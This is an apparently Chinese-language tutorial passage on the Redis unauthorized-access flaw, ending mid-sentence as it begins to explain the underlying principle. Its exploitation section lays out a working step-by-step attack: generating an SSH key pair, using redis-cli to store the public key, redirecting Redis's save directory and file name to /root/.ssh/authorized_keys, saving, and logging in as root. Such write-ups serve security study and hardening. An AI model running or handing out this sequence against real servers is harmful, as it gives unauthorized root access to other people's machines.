Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。
漏洞介紹:
Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器。
漏洞描述:
部分 Redis 綁定在 0.0.0.0:6379,並且沒有開啟認證(這是Redis 的默認配置),如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。
利用 Redis 自身的提供的 config 命令,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接使用對應的私鑰登錄目標服務器。
漏洞利用:
首先在本地生產公私鑰文件:
$ ssh-keygen –t rsa
然后將公鑰寫入 foo.txt 文件:
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
連接 Redis 寫入文件:
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK
這里講解下,這里設定了crackit的鍵值為公鑰,並通過redis命令變更Redis DB 文件及存放地點為默認root用戶SSH key存放文件,並將鍵值重定向追加到遠程文件authorized_keys的末尾,也就上傳了公鑰。
這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執行:
$ ssh –i id_rsa root@192.168.1.11
可遠程利用自己的私鑰登錄該服務器。
剛剛我們提到公鑰登錄和Redis持久化存放數據操作,這里簡單講下原理